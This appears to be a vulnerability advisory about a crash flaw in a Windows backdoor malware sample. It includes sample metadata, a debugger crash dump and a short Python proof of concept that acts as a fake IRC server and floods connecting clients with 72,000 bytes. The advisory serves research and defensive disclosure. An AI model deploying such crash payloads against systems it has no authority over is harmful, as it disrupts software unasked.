BACKDOOR.WIN32.ADVERBOT malware suffers from a remote stack corruption vulnerability.
7f28cc1158eba60a0170ed99309f564fDiscovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/9919c1e86a750dd6d4f0d2a851af29ea.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: BACKDOOR.WIN32.ADVERBOT
Vulnerability: Remote Stack Corruption
Description: Null instruction pointer read stack corruption when connecting to an IRC server Port 6667.
The NetControl.File component allows connecting to server to IRC servers to file share or send messages under Menu/connect.
Type: PE32
MD5: 9919c1e86a750dd6d4f0d2a851af29ea
Vuln ID: MVID-2021-0003
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/02/2021
Memory Dump:
0:000> .ecxr
eax=00000000 ebx=46454447 ecx=00000000 edx=0019c21f esi=00000000 edi=00000000
eip=00000000 esp=0019d264 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
00000000 ?? ???
ExceptionAddress: 00000000
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 00000000
Attempt to read from address 00000000
Exploit/PoC:
import socket
port=6667
payload="A"*72000
def doit():
global payload
s = socket.socket()
try:
host = ''
s.bind((host, port))
s.listen(5)
print('Backdoor.Win32.Adverbot / Null Pointer Read Stack Corruption')
print('MD5: 9919c1e86a750dd6d4f0d2a851af29ea')
print("By malvuln")
while True:
conn, addr = s.accept()
conn.send(payload+'\r\n')
conn.close()
except Exception as e:
pass
if __name__=="__main__":
doit()
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